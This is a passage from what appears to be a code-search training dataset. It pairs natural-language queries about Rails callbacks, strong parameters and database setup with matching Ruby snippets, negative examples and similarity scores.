judges_url, notice: 'Judge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @response_challenge = ResponseChallenge.find(params[:id])\n @response_challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to response_challenges_url }\n format.json { head :ok }\n end\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @proposal = Proposal.find(params[:id])\n @proposal.destroy\n\n respond_to do |format|\n format.html { redirect_to proposals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @proposal = Proposal.find(params[:id])\n @proposal.destroy\n\n respond_to do |format|\n format.html { redirect_to proposals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collaborator = Collaborator.find(params[:id])\n @collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to collaborators_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidato = Candidato.find(params[:id])\n @candidato.destroy\n\n respond_to do |format|\n format.html { redirect_to candidatos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidato = Candidato.find(params[:id])\n @candidato.destroy\n\n respond_to do |format|\n format.html { redirect_to candidatos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @leaderboard = Leaderboard.find(params[:id])\n @leaderboard.destroy\n\n respond_to do |format|\n format.html { redirect_to leaderboards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n block_non_user\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7436304", "0.7436304", "0.71688795", "0.71688795", "0.71688795", "0.7097595", "0.7083692", "0.68879616", "0.67611915", "0.67196244", "0.6716783", "0.6708224", "0.6674849", "0.6648467", "0.6633264", "0.663056", "0.66255254", "0.6576449", "0.6526477", "0.65194345", "0.65194345", "0.64890724", "0.642545", "0.6422706", "0.64081264", "0.6396868", "0.63886106", "0.6381237", "0.63802", "0.636675", "0.6365772", "0.6364582", "0.6348014", "0.63422453", "0.6327351", "0.6324292", "0.63236165", "0.6322857", "0.63193166", "0.6297445", "0.6291996", "0.628649", "0.62850165", "0.62737197", "0.62736523", "0.6264915", "0.6256736", "0.6230692", "0.6227171", "0.6225559", "0.6223271", "0.6216569", "0.6215832", "0.6215332", "0.62119544", "0.62115073", "0.62103444", "0.6207261", "0.6204181", "0.62036335", "0.6199471", "0.6199471", "0.61977476", "0.61927426", "0.61927426", "0.6192732", "0.61917764", "0.61895466", "0.61887217", "0.6180557", "0.6177055", "0.6174683", "0.61686796", "0.61645234", "0.616419", "0.6163393", "0.6159672", "0.6159524", "0.61511433", "0.6149595", "0.6149081", "0.6148826", "0.61476666", "0.6146734", "0.6146734", "0.61462843", "0.61453307", "0.61453307", "0.6143446", "0.61318916", "0.61318916", "0.61318916", "0.6129284" ]
0.717342
9
Use callbacks to share common setup or constraints between actions.
def set_candidate @candidate = Candidate.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def before_dispatch(env); end", "def process_action(...)\n send_action(...)\n end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def config(action, *args); end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def setup_signals; end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def call\n setup_context\n super\n end", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6162554", "0.60452986", "0.5945278", "0.59169763", "0.58877826", "0.5834763", "0.5775349", "0.5704972", "0.5704972", "0.56543803", "0.5621491", "0.5427202", "0.54093206", "0.54093206", "0.54093206", "0.53975695", "0.53776276", "0.53562194", "0.5340594", "0.5337824", "0.5328757", "0.5310255", "0.5300339", "0.5298796", "0.5295774", "0.5256034", "0.5243039", "0.5236007", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.52321917", "0.5227032", "0.52216744", "0.5216349", "0.52161187", "0.5210265", "0.5207244", "0.5177388", "0.5177142", "0.51747334", "0.516293", "0.51629275", "0.5155534", "0.51540613", "0.515197", "0.5151636", "0.5145279", "0.51380795", "0.5135777", "0.5117378", "0.5115066", "0.5115066", "0.5110235", "0.5106418", "0.50917816", "0.50909185", "0.50855017", "0.5082105", "0.506359", "0.5055345", "0.50546116", "0.50523037", "0.50523037", "0.50327307", "0.5024364", "0.5021113", "0.50174654", "0.50163317", "0.5000553", "0.50002855", "0.49991882", "0.49905527", "0.49905527", "0.49849054", "0.4982546", "0.4980941", "0.4979153", "0.49693102", "0.4967172", "0.49594432", "0.49564302", "0.49552485", "0.49533385", "0.49506924", "0.49452737", "0.49442786", "0.49347955", "0.49341312", "0.49295264", "0.49261844", "0.4925649", "0.49251428", "0.4920729", "0.49177617", "0.4916373", "0.49158472", "0.4915794", "0.49156648" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def candidate_params params.require(:candidate).permit(:name, :cellphone, :birth_date, :genre, :status, :regional_candidate, :country_code, :civil_status, :recruitment_source, :relocate, :actual_salary, :email, :variable_salary, :wage_aspiration, :position, :comparative_chart, :specific_benefit, :general_benefits, :general_comments, :address, :conditions_to_move, :telephone, :interview_date, :nationality, :actual_company, skills_attributes: [:id, :name, :_destroy], education_levels_attributes: [:id, :name, :_destroy], careers_attributes: [:id, :name, :_destroy], languages_attributes: [:id, :name, :_destroy], performance_areas_attributes: [:id, :name, :_destroy], industries_attributes: [:id, :name, :_destroy]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Initialized database from db_file
def initialize(db_file = false) if (db_file) @db_file = db_file else @db_file = CONFIG['resonance']['db_file'] end self.createIfNotExists end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_db\n # we want to check a couple levels 2011-09-28 \n unless @db\n unless File.exists? @file\n 3.times do |i|\n @file = \"../#{@file}\"\n break if File.exists? @file\n end\n end\n end\n @db ||= DB.new @file\n end", "def initialize(database_file)\n @database_file = database_file\n @data = get_all()\n end", "def initialize(file_name='persistance.db')\n require 'gdbm'\n # Creates database file if it doesn't exist\n @file_name = file_name\n unless File.directory?('db')\n Dir.mkdir('db/')\n end\n @db = GDBM.new('db/' + file_name)\n @wallet_db = GDBM.new('db/wallets_' + file_name)\n end", "def initialize_database(database_path = './secrets.db')\n DataMapper.finalize\n\n database_path = File.expand_path database_path\n\n @dm = DataMapper.setup(:default, \"sqlite:///#{database_path}\")\n\n return if File.exist? database_path\n\n SQLite3::Database.new(database_path)\n DataMapper.auto_migrate!\n end", "def load_database\n password = nil\n if not File.exists?(@options.db_file) then\n hsay 'Creating initial database.', :information\n password = prompt(\"Initial Password for (#{@options.db_file})\", :echo => \"*\", :validate => true)\n else\n password = prompt(\"Password for (#{@options.db_file})\", :echo => \"*\")\n end\n @db = Keybox::Storage::Container.new(password,@options.db_file)\n end", "def initialize(file)\n\t\t#Initializes superclass -- creates database.\n\t\tsuper\n\t\t#Creates tables if they not exist\n\t\tTABLES.each do |table|\n\t\t\tsql = \"CREATE TABLE IF NOT EXISTS #{table.header} (\"\n\t\t\ttable.columns.each {|column| sql += \"#{column.header} \" +\n\t\t\t\t\"#{column.type_constraint}, \"}\n\t\t\tsql = table.constraint.nil? ?\n\t\t\t\t\"#{sql.slice(0, sql.length - 2)})\" :\n\t\t\t\t\"#{sql}#{table.constraint})\"\n\t\t\tself.transaction {|tdb| tdb.execute(sql)}\n\t\tend\n\tend", "def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end", "def initialize_database(database_path, config_file_path = nil)\n RFlow.logger.debug \"Initializing config database (#{Dir.getwd}) '#{database_path}'\"\n\n # TODO should not need this line\n ActiveRecord::Base.establish_connection(:adapter => 'sqlite3', :database => database_path)\n\n establish_config_database_connection database_path\n migrate_database\n\n working_dir = 